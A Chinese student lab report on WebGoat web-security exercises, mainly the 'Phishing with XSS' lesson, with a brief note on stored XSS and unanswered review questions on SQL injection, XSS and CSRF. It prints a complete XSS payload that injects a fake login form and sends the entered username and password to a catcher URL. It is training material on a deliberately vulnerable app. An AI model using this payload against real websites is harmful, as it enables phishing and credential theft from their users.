网络对抗技术 2017-2018-2 20155215 Exp9 Web安全基础

1.实践过程

前期准备:WebGoat

WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat:

WebGoat使用8080端口,所以在浏览器上输入网址http://localhost:8080/WebGoat打开登录界面

因为我用的是7.1,所以有默认账号,8.0的这里可以自己申请个账号。

练习内容:

Cross-Site Scripting (XSS):

1.Phishing with XSS

他的教训是一个网页如果在页面上存在已知的XSS攻击时可能支持钓鱼攻击的例子

以下是标准搜索功能的示例。
使用XSS和HTML插入,您的目标是:

将html插入到请求证书中

添加JavaScript实际收集凭据

将证书发布到http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...

要通过本课,必须将凭证发布到捕获器servlet。

本题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...,完整的XSS攻击代码如下:

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Your information was stolen by 5215! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>please input your information here:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2.Stored XSS Attacks

这是练习自己的一个介绍:

清理所有输入,尤其是稍后将用作OS命令,脚本和数据库查询的参数的输入总是一个好习惯。 对于永久存储在应用程序某处的内容而言,这一点尤其重要。 用户不应该能够创建可能导致其他用户在检索到用户消息时加载不需要的页面或不需要的内容的消息内容。

储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。

2.实验后回答问题

(1)SQL注入攻击原理,如何防御

(2)XSS攻击的原理,如何防御

(3)CSRF攻击原理,如何防御

3.实验总结与体会

猜你喜欢

转载自www.cnblogs.com/xuanyan/p/9093715.html